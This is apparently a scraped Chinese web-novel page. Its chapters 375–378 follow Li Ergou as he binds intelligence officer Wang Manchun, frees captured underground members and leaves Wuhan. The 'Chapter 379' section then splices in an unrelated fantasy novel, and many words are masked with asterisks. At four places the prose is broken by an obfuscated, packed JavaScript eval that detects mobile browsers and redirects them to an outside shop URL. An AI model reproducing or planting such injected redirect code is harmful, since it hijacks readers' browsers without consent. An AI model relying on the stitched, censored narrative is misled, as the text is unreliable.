王曼春紧抿着嘴唇,她想让李二狗离开,又害怕他离开。 “你说吧。” “你现在打电话,让拘押室的人十一点之前全部赶到这里的会议室开会。” 王曼春先是一愣,随即明白了李二狗的用意,好一招调虎离山之计! 她更加佩服李二狗的聪明才智。 她摸起电话,拨通了拘押室的电话。 “通知所有人,十一点之前到总部大楼会议室开会!” 对方问道:“现在?所有人?” “现在!所有人!马上!” 王曼春说完便挂断了电话,她有一种深深的无力感。 在李二狗面前,她好像做什么都是徒劳的! “李先生,你的要求我都照做了,接下来你要杀我吗?” 杀死王曼春的确是最安全的办法,但李二狗却有点下不了手! 一个妩媚到骨子里的女人,他的确下不了手。 “王科长,你今天表现得非常乖,我真的下不了手杀你,不过还得委屈你一下。” “难道你还想脱光我的衣服把我绑起来吗?那你还不如杀了我!” 不得不承认,王曼春的确是一个聪明的女人,她知道李二狗要做什么,也知道李二狗做不了什么。 李二狗俯身和王曼春对视着,笑道:“脱光你岂不是便宜那些污浊肮脏的男人?放心,我是最懂得怜花惜玉之人。” “李二狗,你真是一个无耻的男人!如果有一天你落到我手里,我一定会扒光了你,剁碎了喂狗!” “还是等我落到你手里再说吧!” 第375章 李二狗机智救人 李二狗把提前准备好的绳子拿了出来。 王曼春看到李二狗手中的绳子便想到自己上次没穿衣服被他绑起来的情形,那是她有生以来受到的最大侮辱。 她恨得牙痒痒! 她恨不得立刻扑上去咬得他血液横流。 “李二狗,你……你一定要这样吗?” “不这样?那你是让我杀了你吗?” 李二狗的反问令王曼春哑口无言。 如果换作别人,李二狗很可能就一刀结果了她的性命,那样做更安全也最省事。 “你就不能对人家好一点吗?讨厌**你!” 王曼春的突然温柔令李二狗有些不知所措。 他向来不会拒绝女人,尤其是漂亮女人。 可此事关乎十几条人命,他不得不令自己狠下心来。 “对不起了,王科长,这次还得委屈你。” 李二狗不顾王曼春**的眼神,把她结实实地绑在椅子上,然后又从自己口袋里掏出一个手绢塞到她嘴里。 “王科长,咱们青山不改,绿水长流,天涯未远,江湖再见。” 王曼春支支吾吾地表达着自己内心的不满,李二狗突然朝着她的脑后就是一掌,王曼春顿时昏了过去。 昏迷中的王曼春没有了嚣张跋扈的神情反而更有了几分女人味。 李二狗望着王曼春,喉咙滚动了几下,他猛地拍了拍自己有些发烧的脸颊,强迫自己冷静下来。 他快步走到房门前,把房门在里面反锁,然后又回到王曼春办公桌前,拿起汽车钥匙装进兜里。 他打开窗户,向外看了看,然后才跳上窗台,用手扳住雨水管道,又用脚把窗户关好,这才顺着雨水管道爬下一楼。 一楼院子里停着三四辆汽车,李二狗并不知道哪辆是王曼春的汽车。 他只好拿着钥匙挨个汽车开锁,好在他运气不错,刚试到第二辆车便打开了车门。 李二狗打着火,打开汽车大灯,快速驶向院门口。 院门口的警卫见是王曼春的汽车,赶紧打开院门,李二狗开着汽车扬长而去。 等李二狗赶到力行社秘密拘押室的时候,拘押室只留下两名看守人员,其他人都赶去了力行社大楼开会。 两名看守看到一辆汽车停在门口,他们都认识这是王曼春的车。 在力行社湖北站,没有人不认识王曼春的汽车。 这个时候她不应该在总部开会吗?怎么会来到拘押室? 可车牌号的的确确是王曼春的专车。 有些犯困的守卫赶紧打起精神,其中一个守卫屁颠屁颠地跑到汽车跟前。 他刚把手放在车门把手上,没想到车门从里面猛地推开了,正好撞在他的脑袋上,“砰”的一声昏死过去。 另一个守卫不知道发生了什么事情,他还以为是王曼春在发脾气,只得待在原地不敢上前。 当他看清下车之人是一个男人时,顿时惊呆了。 慌乱中,他摸向腰间的**,此时李二狗手里的**早已飞出,直插他的咽喉。 他慢慢倒在地上,目送着李二狗进去拘押室。 李二狗打开拘押室的门进入拘押室。 拘押室里面关押着十几名地下党员,有几个人已经被打的奄奄一息。 “大家听我说,是刘**派我来救大家的,所有人现在跟我走,带上受伤的同志。” 被关押在不同牢房的十几个人面面相觑,他们实在不敢相信在力行社的秘密拘押室,竟有人来救他们。 “你到底是谁?我们凭什么相信你?”其中一个年纪稍长的男人问道。 “我是谁并不重要,你们出去之后也不要告诉我你们去哪,等你们安全之后,再通过自己的途径联系你们各自的上级。好了,这里不宜久留,赶紧跟我走!” 李二狗率先走出了拘押室,其他人看向这位年纪稍长的男人,他思考片刻,然后朝大家点了点头。 “大家跟他走,扶好受伤的同志。” 大家相互搀扶着走出了牢房。 “大家趁着天黑赶紧离开这里吧,一定找一个安全的地方先隐藏起来。” 那位年纪稍长的男子是**武汉工委副** ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17252453|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 刘海洋。 他激动地握住李二狗的手,感激道:“同志,谢谢你,你叫什么名字?以前我怎么没有见过你?” 李二狗还是第一次被别人叫作同志,不知道什么原因,这个有些陌生的词汇竟令自己有些激动。 “这位同志,我不是你们的同志,我只是受你们刘**所托帮个忙罢了,你还是快点带着他们离开这里吧。” 刘海洋心想,这个人有勇有谋,肯定是上级新派到武汉的同志。 目前武汉党组织遭到严重破坏,他保持这种谨慎的态度是正确的,心里也越发佩服这个年轻人。 “同志,谢谢,谢谢,咱们后会有期。” 刘海洋带领着众人离开了。 李二狗嘴角露出一丝笑容,然后闪身消失在夜色之中。 力行社湖北站总部大楼会议室,众多特务都在等待王曼春的到来。 大家等了一个小时,还没见到王曼春的身影,都忍不住小声议论起来。 “王科长深夜把咱们召集到这里,自己又迟迟不现身,她到底什么意思?” “谁知道呢?也许正躺在哪个男人的床上卖力呢。” “你小子这嘴可真损,就不怕她撕烂你的臭嘴?” “我恨不得她撕烂我的嘴,可她连正眼都不瞧我。” “人家是站长的女人,怎么能看上咱们这样的人!” “哼,站长?站长现在在哪呢?” “嘘,小点声,你也不怕被别人听见?” “怕个逑,站长都**,她王曼春凭什么自己当老大?她除了会伺候男人之外,还会干什么?” “你这么大声干什么?自己想找死可别连累我。” “看你那胆小如鼠的样子,你还是男人吗?” “你不胆小你现在敢去她办公室把她叫来吗?” “我……我懒得去!” 会议室里大家七嘴八舌地嘀咕着,大家都对王曼春有意见,可又没人敢当面说出来。 以王曼春的手段,谁也不知道她在总社有没有靠山,说不定她真的会接任湖北站站长一职。 第376章 能力有限,水平一般 大家又在会议室里等了一个小时始终未见王曼春的身影。 力行社行动队的特务自认为高人一等,他们平时根本不把站里其他部门的同事放在眼里。 王曼春作为情报科科长,本来管不着行动队的事情。 但她是站长马有才的情妇,又和他们行动队队长宋**关系非同一般,大家哪怕已经等待了两个小时,也是敢怒不敢言,没有一个人敢擅自离开。 “咱们宋队长去哪里了?王科长迟迟不来,咱们难道就在这里一直等下去吗?” 说话的人虽然说得含糊,但大家都听出了话里的内涵,也许此时王曼春正和宋**在一起。 一个愣头青抱怨道:“今天下午下班后我就再没见过宋队长,谁知道他在哪个娘们被窝里逍遥?” 没人敢接他的话茬,行动队里有很多宋**的心腹,他们可不想因为一句话得罪了宋**。 “刘秘书,你还是再去王科长办公室看看她回来了没有,我们都等了两个小时,王科长到底干什么去了?” 力行社湖北站办公室秘书刘跃进深知马有才和王曼春的关系,所以马有才死后,他就抱紧了王曼春的大腿。 “我都已经去过两次了,王科长确实不在办公室,听门口的警卫说,王科长先前开车出去了,咱们还是再耐心等等吧,说不定王科长办完要紧事就赶回来了。” “这都凌晨一点了,咱们到底要等到什么时候?有这闲功夫我早审问完那批地下党了!” 特务们在会议室里吵翻天的时候,王曼春在自己办公室里同样度日如年。 李二狗绑得她结结实实,她醒来后挣扎了好几次也没有挣脱开。 最可恶的事,李二狗在她嘴巴里塞了一个手绢之后又用一根绳子勒住手绢,她只能发出支支吾吾的声音。 她听到有人敲了两次门,也听到有人扳动门锁的声音,看来这个李二狗肯定是在里面反锁了房门。 这个男人实在是太可恶了! 她用力晃动着身下的椅子,可椅子实在太沉了,发出的声响在外边根本听不见。 用尽了各种办法之后,王曼春终于放弃了! 她闭上眼睛,眼前全是李二狗得意的笑容。 李二狗,我恨你!王曼春在心底呐喊道。 此时李二狗已经回到秘密联络站。 刘东见李二狗安然无恙地归来,还是不相信他能完成不可能完成的事。 “李先生,你总算回来了,怎么样了?” 李二狗保持着惯有的装逼笑容,仿佛一切尽在他的掌控之中。 “刘**,黄一博已经被我杀了。” 尽管刘东已已经做好了心理准备,但听到李二狗亲口说出来时还是惊讶不已。 “李先生,你真是神人,我们被捕的那些同志呢?都救出来了吗?” 李二狗微微一笑,说道:“全救出来了,一个不少!” 刘东激动异常,他紧紧握住李二狗的手说不出话来。 “这……这实在是令人难以相信,李先生,谢谢,谢谢。” “举手之劳罢了,刘**不必放在心上。” 刘东怎能不放在心上,这样的人才他一定要想尽一切办法吸纳进组织。 “李先生,我们那些同志现在在哪里?” “力行社的特务对不少人实施了严刑拷打,我担心他们中间有人承受不住酷刑已经叛变**,为了安全起见,我让他们各自隐藏,等安全之后再自行联系他们各自的上线,这样能最大限度地保证同志们的安全。” “李先生,你如果愿意加入我们,我愿意让出武汉工委**一职,心甘情愿地听从你的领导。” 李二狗虽然最近一直在和**武汉工委的人打交道,但他们中间也出现了叛徒,对于他们所说的**理想,李二狗并没有切身的体会。 “刘**,我只是一个农民,能力有限,水平一般,和您比起来,差距甚远,您千万别开这种玩笑。” 刘东刚才所言确实只是他一时的感慨,组织用人有严格的程序,岂是他自己能决定的。 “李先生,我真诚地邀请你加入我们,还有徐小姐,你们全都是不可多得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17256077|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 的人才。” 李二狗此次到武汉是为了到鄂豫皖根据地找到消除内心迷茫的方法,对于加入**党,他根本没有考虑过。 “刘**,谢谢您的赏识,我还有重要的事情要办,明天就要离开武汉,真得没法加入你们,至于徐小姐愿不愿意加入你们,还得听从她自己的意见。” “二狗,我跟你走!”徐青霞突然出现在门口,斩钉截铁地说道。 “徐小姐……” 徐青霞打断了刘东的话。 “刘**,感谢您对我的照顾,可我不能加入你们。” 徐青霞说得丝毫没有回旋的余地,刘东只能暂时作罢。 “李先生,这次力行社吃了大亏,恐怕他们不会善罢甘休,明天他们肯定会在武汉各个码头、车站设卡检查,我看你们还是先在武汉待一段时间再走吧。” 李二狗离开江东已有一段时间,他不想再这样无谓地耽搁下去,但带着徐青霞,确实很难离开武汉,因为徐青霞那张美丽纯净的脸庞,别人看一眼就难以忘记。 “刘**,我的事情比较紧急,我不能在武汉多待,明天我就走,不过有件事,我得拜托你。” 刘东已经料到李二狗所托之事是什么,这也正是他所希望的。 “李先生,有什么事但说无妨。” “力行社检查严格,徐小姐想要安全离开武汉十分困难,我想拜托您先照顾她。” 徐青霞未等刘东答应,便抢先说道:“二狗,你不能扔下我一个人,我要跟你走。” 李二狗笑了笑,说道:“刘**,我先和她说点事,咱们待会再聊。” 刘东善解人意地说道:“好,你们先忙。” 李二狗拉着徐青霞回到她的房间。 刚进屋,徐青霞便紧紧抱住李二狗。 “你真的要丢下我一个人吗?” “青霞,你先听我说。” “我不听,我不听……” 面对女人的撒娇,李二狗自有对付的办法。 他同样紧紧地抱住徐青霞,然后低头的瞬间吻住了她柔软的嘴唇…… 第377章 内心产生一股强烈的冲动 “二狗,你要答应人家,一定要早点回来找我。” 徐青霞蜷缩在李二狗怀中,楚楚动人、楚楚可怜,娇滴滴的声音令人动容。 李二狗此时就像站在泰山十八盘上,云山雾罩的感觉令他只能满口答应。 “青霞,你放心,我一定会回来找你的。” “我信你,二狗,在这个世界上我只有你,你要是不要我了,那我只能**了。” 徐青霞娇躯微颤,李二狗的心也跟着颤动。 “净说傻话,你乖乖等我回来。” 两人情不自禁地抱在一起,又是一番缠绵。 “青霞,你留在武汉一定要听从刘**的安排,可以试着多了解一下他们。” 徐青霞现在已经看清了力行社的真实面目,作为力行社的敌人,他们肯定不是以前自己想象中的那个样子。 “你放心吧,我会的。” 李二狗虽然自己不愿意加入**党,但他真心希望徐青霞可以加入他们,利用自己所学去消灭敌人。 其实李二狗内心还有一个自私的目的,他无法带徐青霞回江东,只希望她能有一个好的归宿,这样他的内心还能稍微好受一点。 他是一个自私的男人,但绝非无情无义。 第二天一早,李二狗收拾行李的时候发现了上次在马有才办公室带回的一份**。 这两天一直处于高度紧张的状态,李二狗竟把这份**给忘记了。 他本想打开文件袋看一看里面到底是什么**,想了想,还是忍住了。 他不想知道的太多,免得再把自己牵扯进去。 他来到刘东的房间,直接把**交给了刘东。 刘东见文件袋上标识着“绝密”两字,急忙打开文件袋,只看了两眼,顿时吓得脸都绿了。 这是一份力行社湖北站潜伏在鄂豫皖边区根据地的特务名单,有几个特务还处于根据地的关键部门。 “李先生,你提供的这份文件对我们太重要了,我真得不知道该如何感谢你了,太谢谢了。” “刘**,您客气了,我只不过是顺手牵羊罢了。今天我就离开武汉,特来向您告别,咱们后会有期。” “李先生,你真的不再考虑考虑加入我们吗?我们党真得太需要你这样的人才了。” “刘**,感谢您的抬爱,但我还有重要的事情要办,等以后有机会,希望可以和您并肩作战。” 李二狗把徐青霞留在武汉,他以后肯定还会回来。 刘东想到这,便不再勉强,他转身从抽屉里拿出二十块大洋。 “李先生,我们党的经费有限,这是我个人给你的二十块大洋的路费,请你务必收下。” 李二狗没有接,但对刘东的好意却很感动。 “刘**,您能答应照顾青霞,我已经非常感激,这些钱我绝对不能收。” 两人又客套了一番,刘东只能把大洋收了起来。 “李先生,力行社盘查的紧,路上一定要注意安全。” 李二狗并没有把自己要前往黄安的消息告诉刘东,他想看到一个真实的红军根据地。 “刘**,你们也要当心,”他看了一眼一直在门外等候的徐青霞,“青霞她刚踏入社会,没有经验,还得麻烦您多照顾她。” “放心吧,我向你保证,我们一定会确保她的安全。” 徐青霞坚持要送李二狗出去,刘东等人便知趣地留在原地。 徐青霞挽着李二狗的胳膊,一直送了三个路口。 李二狗停下脚步,深情地望着徐青霞。 “好了,青霞,就送到这里吧,外边不安全,你赶紧回去,我不在的这些日子,你要照顾好自己。” 经过一夜的磨合,徐青霞更加舍不得李二狗离开。 “二狗,你答应我,一定要早点回来,没有你,我不行。” 一别两城千里远,双目噙泪苦相思!纵使千般不舍,也抵不过万般无奈。 李二狗伸手捏了捏她粉嘟嘟的脸颊,柔声道:“乖乖等我回来。” 他终究还是走了,留下无限惆怅的徐青霞。 一直到他的背影 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17256078|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 消失的无影无踪,徐青霞还是望着他消失的方向,久久不忍离去。 大街上的特务和警察果然比平时多了许多,幸好李二狗进行了乔装打扮,他嘴角的那撮小胡子虽然略显突兀,但却极好地改变了他的相貌。 黄安县地处大别山区,不通公路、铁路、水路,只能靠步行前往。 当力行社的特务把精力都集中在码头、火车站的时候,李二狗已经悄然来到武汉北城门,出了城,他就彻底安全了。 可和他意料中的不一样,北城门虽然只有几名士兵在盘查来往行人,但周边却**了不少可疑之人。 无论是做生意的小摊贩还是正在买东西的顾客,他们时而四处张望,时而又低头窃窃私语,一看就是特务。 李二狗身上并没有带枪,他不怕守门士兵搜身,但因为周围布满了特务,为了安全起见,他还是来到城门附近的一个小酒馆。 事出反常必有妖,北城门**了这么多特务,肯定有事情发生。 李二狗坐在小酒馆二楼靠窗的一个位置,那里正好可以看到整个北城门的全景。 突然,斜对面茶馆里出现一个熟悉的身影,竟是王曼春。 李二狗吓得赶紧把头缩到窗户后面。 王曼春上身穿着一身黑色皮衣,头上戴着一顶鸭舌帽,却丝毫掩饰不住她的美艳。 上次在自己办公室,她再次被李二狗无情地羞辱,她发誓一定要亲手宰了他! 她之所以选择在北城门设伏,完全是出于自己的第六感。 她预料李二狗假如要离开武汉,肯定不敢通过火车站、码头离开。 红军根据地在武汉北面,北城门一定是他的必经之地。 她是这样想的,李二狗也是这样做的。 李二狗不禁惊出一身冷汗。 虽然他进行了伪装,但以王曼春对自己身体的熟悉程度,一旦自己出现在城门口,肯定会被她一眼认出。 李二狗本想离开,突然,他内心产生一股强烈的冲动,他想会一会王曼春。 第378章 是不是该干点正事了 李二狗望着王曼春,嘴角露出一丝微笑。 他坐在酒馆二楼一扇窗户后面,一直暗中观察着王曼春的一举一动,不知不觉天色已经黯淡下来。 此时王曼春明显有些烦躁,她眉头紧皱,不时打着哈欠。 枯等了一天,连李二狗的一根**都没见到,王曼春怀疑自己的预感出现了偏差。 逮不着李二狗倒在其次,王曼春更担心李二狗已经通过其他途径离开了武汉。 想到以后可能再也见不到这个男人,王曼春内心一阵惆怅。 她站起身来,伸了几个懒腰,然后走出茶馆,向城门口走去。 李二狗知道,自己的机会来了。 他赶紧出了酒馆,来到茶馆后面的一条巷子里,里面果然停着王曼春的汽车。 李二狗微微一笑,隐藏在胡同口侧面的一棵大树后面,从那里可以清晰地看到前方来人的情况。 不一会儿,远处传来一阵脚步声。 听声音分明是女人的高跟鞋,并没有其他鞋摩擦地面发出的声音。 和李二狗判断的一样,王曼春果然是要一个人回家。 他从树后闪身而出,掏出提前准备好的一根细铁丝,打开了汽车的后门,然后藏在汽车后座下方。 王曼春来到汽车旁,职业的习惯养成了她谨慎的习惯。 她前后左右看了一圈,并没有发现任何异常,然后才从兜中掏出汽车钥匙,打开车门,坐进了驾驶室。 她熟练地打着火,驾驶着汽车平稳地驶出胡同。 “李二狗。” 王曼春突然喊出李二狗的名字,吓得藏在后座的李二狗打了一个寒颤,没想到,自己竟然暴露了。 他刚要现身,王曼春继续呢喃道:“老娘一定要亲手宰了你,方能解我心头之恨!” 李二狗内心稍安,原来她在自言自语。 李二狗心想,王曼春一定是恨极了自己。 一个女人如此痛恨一个男人,无非只有两个原因。 一是爱而不得,二是痛而不忘。 王曼春对李二狗到底有没有爱,李二狗不能确定,但她内心肯定非常痛苦,这是肯定的。 “砰!砰!砰!” 王曼春突然猛地击打了几下方向盘,恼怒之情溢于言表。 “李二狗,你要现在出现在我面前,我一定让你跪倒在我的石榴裙下。” “嘻嘻……嘻嘻……” 王曼春放完狠话,突然又发出几声笑声。 “哎……” 笑过之后又发出一声长叹。 “李二狗啊李二狗,你到底在哪里?” “王科长,你在找我吗?” 一声刺耳的刹车声陡然响起,可以清晰地听到轮胎与地面间激烈的摩擦声,同时伴随着车身因急剧减速而产生的强烈震动。 惊魂未定的王曼春刚要缓缓转头,李二狗立即喝止道:“不要回头,慢慢掏出你的**扔到身后,然后再把手举起来,否则……” 王曼春只能乖乖地把**从腋下掏出扔到自己身后,然后慢慢把双手举了起来。 李二狗捡起她的**,“咔咔”打开枪身保险,笑呵呵地感叹道:“真是一把好枪啊。” 王曼春从汽车后视镜里看到李二狗手里只有一把**,她又被他骗了! “李二狗,你……” 王曼春喘着粗气,气得胸脯子一抖一抖的。 “呵呵,我什么?”李二狗一边把玩着**一边笑呵呵地问道。 “你到底想要怎样?” “你刚才不是一直在喊我的名字吗?你到底想怎样?” “我……我恨不得生吞了你。” 李二狗笑道:“好啊,我让你生吞了我,就怕你的樱桃小口吞不下,哈哈。” 王曼春双颊通红,李二狗大胆奔放的言语令她既羞又恼,从来没有一个男人敢这样对她。 自诩见多识广的她一时竟有些不知所措。 “你……你到底想怎样?” 王曼春只能一再重复着这句话。 “继续往前开!” “往前开?”王曼春内心既惊又喜,“开到哪?” “去你家!” 王曼春内心一阵悸动。 “李二狗,你到底想干什么?”王曼春有些明知故问道。 “干什么?哈哈,深更半夜,孤男寡女,你说能干什么?” “你……你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17262842|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 无耻!我是不会让你得逞的!” 李二狗用枪指着她的后脑勺,轻松地说道:“我知道王科长是一个聪明人,千万别逼我,否则我什么事都做得出来!” 李二狗说完竟伸手抚摸了一下王曼春的耳垂。 又红又热的耳垂! 王曼春没有办法,只能开着汽车继续向前行驶。 一路上她没有反抗,也没有故意绕路,径直把车开到了院门口。 “到了!” 王曼春深吸一口气,努力让自己镇定下来。 李二狗突然想起一件事,问道:“你家里还有其他人吗?” 王曼春先是一愣,随即说道:“怎么?害怕了?” “害怕?”李二狗看见屋里没有亮灯,王曼春又是这种态度,知道家中肯定没有别人,“人越多我越兴奋!” “李二狗,你无耻!” “待会还有更无耻的,下车!” 王曼春没有抗拒,乖乖下了车。 李二狗在身后用枪指着王曼春,王曼春掏出钥匙打开房门,两人一起进入王曼春家中。 王曼春虽然在外边颐指气使,但内心却是一个十足的小女人。 她把房间布置的十分温馨,桌上还插着一束百合花,正散发出淡淡的香气。 王曼春知道只要自己不反抗,李二狗一定不会伤害她。 她走到一个酒柜前,拿起杯子倒了两杯红酒。 她两手分别端起一杯红酒,脸上挂着一抹似有非有的笑容,貌似轻松地问道:“要不要喝一杯?” 李二狗故意咳嗽一声,然后把**收起来插入腰后,走到王曼春跟前接过她手里的酒杯。 王曼春把手里的酒杯伸到李二狗面前,媚眼如丝地看着他。 李二狗把手里的酒杯和她碰了碰。 “干杯。” 王曼春没有回应,把手里的酒杯轻轻地晃了晃,然后一饮而尽,并挑衅般地向李二狗亮了亮杯底。 李二狗根本就不怕她在酒中动手脚,因为从她倒酒的那一刻开始,李二狗就一直盯着她。 李二狗注视着王曼春的眼睛,一字一句地说道:“喝完了酒,是不是该干点正事了?” 第379章 你终于落到我的手里 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 